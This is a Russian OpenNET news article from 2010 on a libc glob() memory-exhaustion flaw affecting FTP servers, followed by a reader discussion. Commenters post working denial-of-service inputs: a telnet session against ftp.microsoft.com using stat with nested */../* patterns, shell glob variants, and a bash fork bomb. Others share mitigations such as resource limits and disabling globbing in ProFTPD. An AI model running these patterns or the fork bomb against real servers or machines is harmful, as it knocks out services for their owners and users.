The OpenNET Project / Index page

[ новости /+++ | форум | теги | ]

Ошибка в библиотке libc привела к уязвимости большинства FTP-серверов

07.10.2010 17:22

Ошибка в реализации функции glob() в различных Си-библиотеках, например в glibc и BSD libc, может быть использована удалённым атакующим, чтобы нарушить работу FTP/SFTP серверов. В связи с тем, что на многих серверах разрешён анонимный вход, ошибку легко эксплуатировать и многие программные продукты являются уязвимыми. В отчёте утверждается, что серверы даже таких крупных компаний, как Adobe и HP, подвержены этой проблеме.

Проблема возникла из-за того, что переменная GLOB_LIMIT, которую добавили в 2001 году для ограничения объёма памяти функцией glob() c целью защиты от аналогичной уязвимости, не эффективна. Проверка на совпадение (globbing) вызывает функцию glob(), чтобы сравнить список файлов с шаблоном и вернуть на выход список совпадающих файлов. В виду того, что GLOB_LIMIT не действует в ситуациях когда в пути фигурирует несуществующий путь, данная проблема теоретически позволяет исчерпать доступную процессу память, используя определённый шаблон ("*/../*/../*строка" или "{..,..,..}/*/{..,..,..}/*строка"), и, в зависимости от операционной системы и мощности оборудования, может привести к полной остановке работы или неожиданному завершению работы FTP/SFTP сервиса.

Уязвимость на данный момент подтверждена в следующих продуктах: OpenBSD 4.7, NetBSD 5.0.2, FreeBSD 7.3 / 8.1, Oracle Sun Solaris 10 и GNU Libc (glibc), поставляемой в Linux. Для демонстрации проблемы выпущен эксплоит. Разработчики NetBSD уже закрыли эту проблему, другие компании пока даже не заявляют о её существовании: Slackware, Gentoo, Mandriva, openSUSE, CentOS, Fedora, RHEL, Debian, Ubuntu, FreeBSD, OpenBSD. Vsftpd проблеме не подвержен.

  1. Главная ссылка к новости (http://securityreason.com/secu...)
Автор новости: Artem S. Tashkinov
Лицензия: CC BY 3.0
Короткая ссылка: https://opennet.ru/28210-security
Ключевые слова: security, ftp, sftp, remote, exploit
При перепечатке указание ссылки на opennet.ru обязательно


Обсуждение (80) Ajax | 1 уровень | Линейный | +/- | Раскрыть всё | RSS
  • 1.1, anonymus (?), 17:56, 07/10/2010 [ответить] [﹢﹢﹢] [ · · · ]  
  • +6 +/
    Закроют, чай не мелокомягкие
    Ну и в серьезных проектах совсем без ошибок не бывает, как это не печально.
     
  • 1.2, Аноним (-), 17:56, 07/10/2010 [ответить] [﹢﹢﹢] [ · · · ]  
  • +11 +/
    vsftpd не использует, ни glob(), ни fnmatch().
     
     
  • 2.8, Аноним (-), 18:45, 07/10/2010 [^] [^^] [^^^] [ответить]  
  • +2 +/
    > vsftpd не использует, ни glob(), ни fnmatch().

    Спасибо! А то я уже полез апдейты смотреть :)

     

  • 1.4, анонимус (??), 18:04, 07/10/2010 [ответить] [﹢﹢﹢] [ · · · ]  
  • +/
    У меня на сервачке uClibc. Можно спать спокойно?
     
     
  • 2.7, EuPhobos (ok), 18:43, 07/10/2010 [^] [^^] [^^^] [ответить]  
  • +6 +/
    > У меня на сервачке uClibc. Можно спать спокойно?

    А можно IP вашего сервачка?

     
     
  • 3.26, Аноним (-), 20:50, 07/10/2010 [^] [^^] [^^^] [ответить]  
  • +5 +/
    192.168.1.13 =)
     
     
  • 4.33, АдминистыйБородач (?), 21:46, 07/10/2010 [^] [^^] [^^^] [ответить]  
  • –1 +/
    Эй, откуда ты узнал секретный адрес моего банковского терминала?!


     
  • 3.32, БородатыйОдмин (?), 21:44, 07/10/2010 [^] [^^] [^^^] [ответить]  
  • +/
    Легко! 10.11.12.13
     
     
  • 4.36, EuPhobos (ok), 21:51, 07/10/2010 [^] [^^] [^^^] [ответить]  
  • +/
    > Легко! 10.11.12.13

    За натом в основном всегда можно спать спокойно, но кайфа от НАТ-а никакого )

     
  • 3.40, User294 (ok), 22:26, 07/10/2010 [^] [^^] [^^^] [ответить]  
  • –10 +/
    > А можно IP вашего сервачка?

    127.0.0.1

    Удачного взлома! :)

     
     
  • 4.47, pavlinux (ok), 00:46, 08/10/2010 [^] [^^] [^^^] [ответить]  
  • +5 +/
    >> А можно IP вашего сервачка?
    >127.0.0.1
    >Удачного взлома! :)

    Вроде не тинэйджер... :/

     
     
  • 5.75, AdVv (ok), 16:15, 08/10/2010 [^] [^^] [^^^] [ответить]  
  • +4 +/
    >>> А можно IP вашего сервачка?
    >>127.0.0.1
    >>Удачного взлома! :)
    > Вроде не тинэйджер... :/

    Физический возраст не всегда соответствует умственному развитию :(

     
  • 5.79, User294 (ok), 17:44, 08/10/2010 [^] [^^] [^^^] [ответить]  
  • +/
    > Вроде не тинэйджер... :/

    Да просто локальный DoS как-то особо не получился. А я то уж понадеялся OOM киллером отхватить :)

     

  • 1.5, maxkit (ok), 18:36, 07/10/2010 [ответить] [﹢﹢﹢] [ · · · ]  
  • +3 +/
    >  серверы даже таких крупных компаний, как Adobe

    Переживут. Весь мир на дырявом Flash'е сидит.

    Но новость, конечно, неприятная.

     
  • 1.6, Аноним (-), 18:41, 07/10/2010 [ответить] [﹢﹢﹢] [ · · · ]  
  • +13 +/
    vsftpd подтверждает своё название
     
     
  • 2.74, fakedream (?), 16:14, 08/10/2010 [^] [^^] [^^^] [ответить]  
  • +/
    Еще бы он пофункциональнее был чуть ..
     

  • 1.9, luzerz (?), 18:53, 07/10/2010 [ответить] [﹢﹢﹢] [ · · · ]  
  • +/
    эксплоит то где?)
     
     
  • 2.13, аноним (?), 19:21, 07/10/2010 [^] [^^] [^^^] [ответить]  
  • +1 +/
    > эксплоит то где?)

    $ telnet ftp.microsoft.com 21
    user anonymous
    pass opennet
    stat */../*/../*/../*/../*
    stat */../*/../*/../*/../*test
    и весь эксплоит

     
     
  • 3.16, ноним (?), 19:53, 07/10/2010 [^] [^^] [^^^] [ответить]  
  • +1 +/
    т.е. на локальной фс stat */../*/../*/../*/../*  тоже сработает ?
     
     
  • 4.35, Аноним (-), 21:48, 07/10/2010 [^] [^^] [^^^] [ответить]  
  • +/
    Работает, zsh отъедает по 4 мега в секунду. Правда, я не стал дожидаться, пока память кончится, и прибил.
     
     
  • 5.52, Аноним (-), 07:52, 08/10/2010 [^] [^^] [^^^] [ответить]  
  • +/
    > Работает, zsh отъедает по 4 мега в секунду. Правда, я не стал
    > дожидаться, пока память кончится, и прибил.

    забавно, в csh, на fb8:
    # stat */../*/../*/../*/../*
    /usr/sbin/stat: Argument list too long.


    proftpd-1.3.2b:
    stat */../*/../*/../*/../*/../*
    211-Status of */../*/../*/../*/../*/../*:
    End of status
    211 Out of memory during globbing of */../*/../*/../*/../*/../*

     
  • 3.64, MrClon (?), 10:02, 08/10/2010 [^] [^^] [^^^] [ответить]  
  • +/
    220 ProFTPD 1.3.2d Server (MrClon Server) [192.168.10.1]
    user anonymous
    331 Anonymous login ok, send your complete email address as your password
    pass evil_hucker
    230 Anonymous access granted, restrictions apply
    stat */../*/../*/../*/../*
    550 */../*/../*/../*/../*: Forbidden command argument
    stat */../*/../*/../*/../*test
    550 */../*/../*/../*/../*test: Forbidden command argument

    Что я делаю не так? Может «експлоит» кривой?

     

  • 1.10, аноним (?), 18:54, 07/10/2010 [ответить] [﹢﹢﹢] [ · · · ]  
  • –1 +/
    че-то по-моему этот баг только в bsd и есть. ProFTPd выдает банальный:
    211 Out of memory during globbing of */../....
     
     
  • 2.12, аноним (?), 19:18, 07/10/2010 [^] [^^] [^^^] [ответить]  
  • +1 +/
    У меня на фре 8.1 так же. А на линуксе proftpd упал.
     
  • 2.44, oops (ok), 23:42, 07/10/2010 [^] [^^] [^^^] [ответить]  
  • +1 +/
    freebsd 8.1 amd64 + pure-ftpd - все ок, ничего не падает.
     
  • 2.51, pimiento (ok), 07:01, 08/10/2010 [^] [^^] [^^^] [ответить]  
  • +/
    gentoo i686, pure-ftpd не упало
     

  • 1.11, Stax (ok), 19:01, 07/10/2010 [ответить] [﹢﹢﹢] [ · · · ]  
  • +/
    Ну в редхате поддерживается только vsftpd, который "проблеме не подвержен", так что наверное у них нет необходимости дергаться и резко латать проблему. Потихонечку исправят.. Строго говоря, по оригинальной ссылке сказано, кто подвержен проблеме: netbsd/openbsd/freebsd/solaris, системы adobe/hp/etc, а про редхат, дебиан и пр. ничего не сказано.
     
     
  • 2.87, XoRe (ok), 21:59, 08/10/2010 [^] [^^] [^^^] [ответить]  
  • +2 +/
    > Ну в редхате поддерживается только vsftpd, который "проблеме не подвержен", так что
    > наверное у них нет необходимости дергаться и резко латать проблему. Потихонечку
    > исправят.. Строго говоря, по оригинальной ссылке сказано, кто подвержен проблеме: netbsd/openbsd/freebsd/solaris,
    > системы adobe/hp/etc, а про редхат, дебиан и пр. ничего не сказано.

    Скажите, а вы правда не знаете, что такое glibc?

     

  • 1.14, Dmitriy.trt (?), 19:21, 07/10/2010 [ответить] [﹢﹢﹢] [ · · · ]  
  • +/
    В Debian используется eglibc. Возможно, там просто нет этой проблемы.
     
     
  • 2.17, Sylvia (ok), 19:55, 07/10/2010 [^] [^^] [^^^] [ответить]  
  • +3 +/
    eglibc - набор патчей над glibc
    если уж в bsd libc есть ошибка, то в форке от glibc и подавно


    интересно другое, кроме ФТП серверов вызывают ли glob() какие либо еще программы ? и насколько это может быть использовано злоумышленниками

     
     
  • 3.19, аноним (?), 20:17, 07/10/2010 [^] [^^] [^^^] [ответить]  
  • +/
    > интересно другое, кроме ФТП серверов вызывают ли glob() какие либо еще программы ? и насколько это может быть использовано злоумышленниками

    Конечно, баш, например:
      ls */../*/../*/../*/../*
    эффект будет примерно эквивалентный
      -(){ -&-;};-
    в смысле, сожрет всю память и повесит машину, если не настроены правильные лимиты

     
     
  • 4.22, Аноним (-), 20:38, 07/10/2010 [^] [^^] [^^^] [ответить]  
  • +/
    $ ls */../*/../*/../*/../*
    bash: /bin/ls: Слишком длинный список аргументов
    $
     
     
  • 5.24, аноним (?), 20:48, 07/10/2010 [^] [^^] [^^^] [ответить]  
  • +/
    > bash: /bin/ls: Слишком длинный список аргументов

    А так?
    echo /*/*/../*/../*/../*/../*

     
     
  • 6.27, аноним (?), 20:51, 07/10/2010 [^] [^^] [^^^] [ответить]  
  • +/
    > А так?
    > echo /*/*/../*/../*/../*/../*

    По сабжевой статье там должен быть несуществующий файл, то есть:
      echo /*/*/../*/../*/../*/../*fake

     
  • 6.29, Иван Иванович Иванов (?), 21:39, 07/10/2010 [^] [^^] [^^^] [ответить]  
  • +/
    bash: Killed out of memory

    Клёво :) Local DOS :)

     
     
  • 7.48, prapor (??), 02:48, 08/10/2010 [^] [^^] [^^^] [ответить]  
  • +/
    А на ZSH не сработало. Проц жрёт и всё. Память не меняется.
     
     
  • 8.53, Аноним (-), 07:57, 08/10/2010 [^] [^^] [^^^] [ответить]  
  • +1 +/
    В csh тоже тупо одно ядро съедет и все, правда еще пришлось через -9 убивать... текст свёрнут, показать
     
     
  • 9.58, oops (ok), 09:04, 08/10/2010 [^] [^^] [^^^] [ответить]  
  • +/
    а у меня на csh по-тихоньку память жрало... текст свёрнут, показать
     
     
  • 10.66, тигар (ok), 10:18, 08/10/2010 [^] [^^] [^^^] [ответить]  
  • +/
    сколько ждал я минут 5, память не жрало, только, как написали выше проц, 1 ядр... текст свёрнут, показать
     
  • 4.23, anonymous (??), 20:40, 07/10/2010 [^] [^^] [^^^] [ответить]  
  • +/
    где можно статейку прочитать про настройку этих димитов?
     
     
  • 5.25, аноним (?), 20:49, 07/10/2010 [^] [^^] [^^^] [ответить]  
  • +1 +/
    > где можно статейку прочитать про настройку этих димитов?

    man limits.conf

     
  • 4.57, аноним (?), 09:01, 08/10/2010 [^] [^^] [^^^] [ответить]  
  • +/
    >> интересно другое, кроме ФТП серверов вызывают ли glob() какие либо еще программы ? и насколько это может быть использовано злоумышленниками
    > Конечно, баш, например:
    >   ls */../*/../*/../*/../*
    > эффект будет примерно эквивалентный
    >   -(){ -&-;};-
    > в смысле, сожрет всю память и повесит машину, если не настроены правильные
    > лимиты

    На Debian начало отъедать память, пришлось килять

     
     
  • 5.68, Doc_x800 (?), 11:43, 08/10/2010 [^] [^^] [^^^] [ответить]  
  • +/
    >>> интересно другое, кроме ФТП серверов вызывают ли glob() какие либо еще программы ? и насколько это может быть использовано злоумышленниками
    >> Конечно, баш, например:
    >>   ls */../*/../*/../*/../*
    >> эффект будет примерно эквивалентный
    >>   -(){ -&-;};-
    >> в смысле, сожрет всю память и повесит машину, если не настроены правильные
    >> лимиты
    > На Debian начало отъедать память, пришлось килять

    OpenSUSE 11.3
    Linux Doc 2.6.31.5-0.1-default #1 SMP 2009-10-26 15:49:03 +0100 i686 i686 i386 GNU/Linux

    та же ситуация

     
  • 3.20, аноним (?), 20:23, 07/10/2010 [^] [^^] [^^^] [ответить]  
  • +3 +/
    > и насколько это может быть использовано злоумышленниками

    может быть использовано для подвешивания собственной машины :)

     
  • 3.62, zazik (ok), 09:41, 08/10/2010 [^] [^^] [^^^] [ответить]  
  • +/
    > eglibc - набор патчей над glibc
    > если уж в bsd libc есть ошибка, то в форке от glibc
    > и подавно
    > интересно другое, кроме ФТП серверов вызывают ли glob() какие либо еще программы
    > ? и насколько это может быть использовано злоумышленниками

    Через php/perl/etc можно сделать а-ля exec('glob ...').

     

  • 1.15, Аноним (-), 19:26, 07/10/2010 [ответить] [﹢﹢﹢] [ · · · ]  
  • +/
    пока что имеем уязвимость не в большинстве фтп серверов, а только в proftpd
     
     
  • 2.54, Аноним (-), 07:59, 08/10/2010 [^] [^^] [^^^] [ответить]  
  • +/
    > пока что имеем уязвимость не в большинстве фтп серверов, а только в
    > proftpd

    proftpd-1.3.2b под freebsd: 211 Out of memory during globbing of /*/*/../*/../*/../*/../*fake

     

  • 1.18, ананим (?), 19:57, 07/10/2010 [ответить] [﹢﹢﹢] [ · · · ]  
  • +1 +/
    несправедливо мс исключена из упоминания:
    >Affected Vendors (not verified):
    >- - Apple
    >- - Microsoft Interix
    >- - HP
    >- - more more more

    .

     
     
  • 2.88, XoRe (ok), 22:05, 08/10/2010 [^] [^^] [^^^] [ответить]  
  • +/
    > несправедливо мс исключена из упоминания:
    >>Affected Vendors (not verified):
    >>- - Apple
    >>- - Microsoft Interix
    >>- - HP
    >>- - more more more

    not verified

    P.S.
    На генте х64 bash с такой строкой жрет проц, но память жрет только до 158 метров.

     

  • 1.21, Аноним (-), 20:32, 07/10/2010 [ответить] [﹢﹢﹢] [ · · · ]  
  • +1 +/
    Vsftpd проблеме не подвержен.

    Ну очень радует)

     
  • 1.28, diceman (??), 21:14, 07/10/2010 [ответить] [﹢﹢﹢] [ · · · ]  
  • +/
    на фре proftpd выдал листинг файла с правами, владельцами и прочим
     
     
  • 2.55, Аноним (-), 08:00, 08/10/2010 [^] [^^] [^^^] [ответить]  
  • +/
    > на фре proftpd выдал листинг файла с правами, владельцами и прочим

    сделай команду подлинее, получишь: 211 Out of memory during globbing

     
     
  • 3.80, аноним (?), 18:02, 08/10/2010 [^] [^^] [^^^] [ответить]  
  • +/
    > сделай команду подлинее, получишь: 211 Out of memory during globbing

    Если "Out of memory" - это еще хорошо. Это значит что ошибка была корректно обработана. А если оно подвиснет на несколько минут - то это дос.

     
  • 2.63, QuAzI (ok), 09:51, 08/10/2010 [^] [^^] [^^^] [ответить]  
  • +/
    Как? Как ты это сделал, демон?
     

  • 1.41, evgeny_t (ok), 22:58, 07/10/2010 [ответить] [﹢﹢﹢] [ · · · ]  
  • +/
    stat */../*/../*/../*/../*
    bash: /usr/bin/stat: Argument list too long
     
  • 1.43, PereresusNeVlezaetBuggy (ok), 23:06, 07/10/2010 [ответить] [﹢﹢﹢] [ · · · ]  
  • +/
    Ключевой diff: http://cvsweb.netbsd.org/bsdweb.cgi/src/lib/libc/gen/glob.c.diff?r1=1.25&r2=1

    Кривой он какой-то... и сделан аж три месяца назад. Приплыли, товарищи.

     
     
  • 2.45, V (??), 00:30, 08/10/2010 [^] [^^] [^^^] [ответить]  
  • +/
    что-то не получается у меня повесить proftpd под openbsd
     
     
  • 3.46, PereresusNeVlezaetBuggy (ok), 00:34, 08/10/2010 [^] [^^] [^^^] [ответить]  
  • +/
    > что-то не получается у меня повесить proftpd под openbsd

    Видимо, корректно обрабатываются ситуации с нехваткой памяти.

    Я проверил на ksh — отожрало вплоть до лимита, выругалось на нехватку, и начало постепенно отдавать память взад.

     
     
  • 4.91, PereresusNeVlezaetBuggy (ok), 09:42, 09/10/2010 [^] [^^] [^^^] [ответить]  
  • +/
    >> что-то не получается у меня повесить proftpd под openbsd
    > Видимо, корректно обрабатываются ситуации с нехваткой памяти.
    > Я проверил на ksh — отожрало вплоть до лимита, выругалось на нехватку,
    > и начало постепенно отдавать память взад.

    Фикс для OpenBSD таки закоммичен: http://marc.info/?l=openbsd-cvs&m=128657455002435&w=2

     

  • 1.50, r9ft (?), 06:52, 08/10/2010 [ответить] [﹢﹢﹢] [ · · · ]  
  • +/
    Ubuntu:

    stat */../*/../*/../*/../*
    550 */../*/../*/../*/../*: Forbidden command argument
    stat */../*/../*/../*/../*test
    550 */../*/../*/../*/../*test : Forbidden command argument

    в bash echo /*/*/../*/../*/../*/../*test - начинает сжирать память

     
     
  • 2.77, User294 (ok), 17:41, 08/10/2010 [^] [^^] [^^^] [ответить]  
  • +/
    На 64-битной при попытке сделать stat на такую строку - баш съедает гига полтора и минут 5 тупит. После чего сообщает Argument list too long. Работает сугубо под рутом и только если сменить текущую диру на /. В общем у меня полноценного локального DoS особо не получилось, только возможность скушать прилично ресурсов на несколько минут.
     

  • 1.59, i (??), 09:04, 08/10/2010 [ответить] [﹢﹢﹢] [ · · · ]  
  • +/
    pureftpd в gentoo не падает, bash память жрет... но лимиты спасают.
     
  • 1.60, phantom lord (ok), 09:14, 08/10/2010 [ответить] [﹢﹢﹢] [ · · · ]  
  • +/
    Отлично, как раз юзаю Vsftpd :-)
     
  • 1.61, Аноним (-), 09:15, 08/10/2010 [ответить] [﹢﹢﹢] [ · · · ]  
  • +/
    в макоси bash память жрет тоже и умирает
     
  • 1.67, QuAzI (ok), 10:36, 08/10/2010 [ответить] [﹢﹢﹢] [ · · · ]  
  • +/
    Забавно.
    proftpd-1.3.2b   - бага не проявилась.
    proftpd-1.3.3a_1 - бага проявилась.
     
  • 1.69, sysnet.by (?), 14:18, 08/10/2010 [ответить] [﹢﹢﹢] [ · · · ]  
  • +/
    SLES 11.0
    ProFTPD 1.3.2b Server - )))))))) только корректное сообщение о "дебильной" команде

    220 ProFTPD 1.3.2b Server (FTP Skif) [10.34.0.114]
    331 Password required for spectre
    Password:
    230 User spectre logged in
    Remote system type is UNIX.
    Using binary mode to transfer files.
    ftp>
    ftp> ls */../*/../*/../*/../*/../*
    229 Entering Extended Passive Mode (|||7126|)
    150 Opening ASCII mode data connection for file list
    226-Out of memory during globbing of */../*/../*/../*/../*/../*
    226 Transfer complete
    ftp>

     
  • 1.70, zazik (ok), 14:25, 08/10/2010 [ответить] [﹢﹢﹢] [ · · · ]  
  • +/
    У меня bash уперся в 3 гига и так и остался висеть.
     
     
  • 2.71, MrClon (?), 14:31, 08/10/2010 [^] [^^] [^^^] [ответить]  
  • +/
    Какая ОС, версия libc, bash ну и так далее?
    На своём debian сервере и бубунтовых рабочих станциях так и не смог воспроизвести баг :(
     
     
  • 3.72, zazik (ok), 14:37, 08/10/2010 [^] [^^] [^^^] [ответить]  
  • +/
    > Какая ОС, версия libc, bash ну и так далее?
    > На своём debian сервере и бубунтовых рабочих станциях так и не смог
    > воспроизвести баг :(

    OpenSUSE(как релиз посмотреть - не знаю, это не удобнейшая фря), libc-2.11.1,
    GNU bash, version 3.2.51(1)-release (x86_64-suse-linux-gnu)

     
     
  • 4.84, аноним (?), 19:17, 08/10/2010 [^] [^^] [^^^] [ответить]  
  • +/
    > OpenSUSE(как релиз посмотреть - не знаю

    Вроде, везде работает:
    cat /etc/*release*

     
     
  • 5.86, аноним (?), 21:54, 08/10/2010 [^] [^^] [^^^] [ответить]  
  • +1 +/
    > Вроде, везде работает:
    > cat /etc/*release*

    Точно
    cat /etc/*/../*/../*/../*/../*release

     
  • 5.93, zazik (ok), 10:35, 11/10/2010 [^] [^^] [^^^] [ответить]  
  • +/
    >> OpenSUSE(как релиз посмотреть - не знаю
    > Вроде, везде работает:
    > cat /etc/*release*

    # cat /etc/SuSE-release
    SUSE Linux Enterprise Server 11 (x86_64)
    VERSION = 11
    PATCHLEVEL = 1

     

  • 1.73, Nas_tradamus (ok), 15:30, 08/10/2010 [ответить] [﹢﹢﹢] [ · · · ]  
  • +/
    На Pure не прокатило, слава зайцам.
     
     
  • 2.78, аноним (?), 17:43, 08/10/2010 [^] [^^] [^^^] [ответить]  
  • +/
    > На Pure не прокатило, слава зайцам.

    С какими параметрами не прокатило? Там подходящий путь зависит от приложения и количества подкаталогов. У меня на proftpd команда:
      stat */../*/../*/../*/../*/../*
    выдает 211 Out of memory during globbing of ...
    но команда:
      stat */../*/../*/../*/../*
    подвешивает proftpd и сжирает 100% cpu. Сделать это 10 раз на параллельных соединенях - и DoS готов.

    И, да, дополнительно надо проверять:
      stat */../*/../*/../*/../*testtest
    это должно почти не требовать памяти, но подвесит точно так же.

    PS: блин, вроде не лор же, а такие простые замечания приходится делать...

     
     
  • 3.81, Nas_tradamus (ok), 18:17, 08/10/2010 [^] [^^] [^^^] [ответить]  
  • +/
    >[оверквотинг удален]
    >   stat */../*/../*/../*/../*/../*
    > выдает 211 Out of memory during globbing of ...
    > но команда:
    >   stat */../*/../*/../*/../*
    > подвешивает proftpd и сжирает 100% cpu. Сделать это 10 раз на параллельных
    > соединенях - и DoS готов.
    > И, да, дополнительно надо проверять:
    >   stat */../*/../*/../*/../*testtest
    > это должно почти не требовать памяти, но подвесит точно так же.
    > PS: блин, вроде не лор же, а такие простые замечания приходится делать...

    Да блин, я все понимаю. В Pure-FTPD вообще не работают никакие комбинации.

    ftp> stat */../*/../*/../*/../*/../*
    Connected to ftp.site.ru.
    No proxy connection.
    Mode: stream; Type: binary; Form: non-print; Structure: file
    Verbose: on; Bell: off; Prompting: on; Globbing: on
    Store unique: off; Receive unique: off
    Case: off; CR stripping: on
    Quote control characters: on
    Ntrans: off
    Nmap: off
    Hash mark printing: off; Use of PORT cmds: on
    Tick counter printing: off
    ftp>


    Игрался минут 5 с stat, ls и добавлением фэйкового файла в конце - не работает.

    В ProFTPD работает, как и в bash. Но на моих серваках с ProFTPD нет левых людей и анонимусов.

     
     
  • 4.82, аноним (?), 19:07, 08/10/2010 [^] [^^] [^^^] [ответить]  
  • +/
    > ftp> stat */../*/../*/../*/../*/../*

    А через ftp оно и у меня не работало. Зато работало через telnet.

     
  • 4.83, аноним (?), 19:11, 08/10/2010 [^] [^^] [^^^] [ответить]  
  • +/
    > ftp> stat ...

    stat в ftp-клиенте имеет другое назначение. Это - не тот stat. :)

     

  • 1.85, аноним (?), 21:47, 08/10/2010 [ответить] [﹢﹢﹢] [ · · · ]  
  • +1 +/
    Решение для proftpd - вписать в proftpd.conf:
      UseGlobbing off

    ЗЫ: дежавю? http://bugs.proftpd.org/show_bug.cgi?id=1066

     
     
  • 2.90, V (??), 00:02, 09/10/2010 [^] [^^] [^^^] [ответить]  
  • +/
    2001-й год, 5 баллов! :)
     

  • 1.92, аноним (?), 00:08, 10/10/2010 [ответить] [﹢﹢﹢] [ · · · ]  
  • +/
    того и гляди злобные анонимусы будут ходить по серверам и их "тестировать"... а может и робота-обходчика подрядят...
     

     Добавить комментарий
    Имя:
    E-Mail:
    Текст:



    Партнёры:
    PostgresPro
    Inferno Solutions
    Hosting by Hoster.ru
    Хостинг:

    Закладки на сайте
    Проследить за страницей
    Created 1996-2024 by Maxim Chirkov
    Добавить, Поддержать, Вебмастеру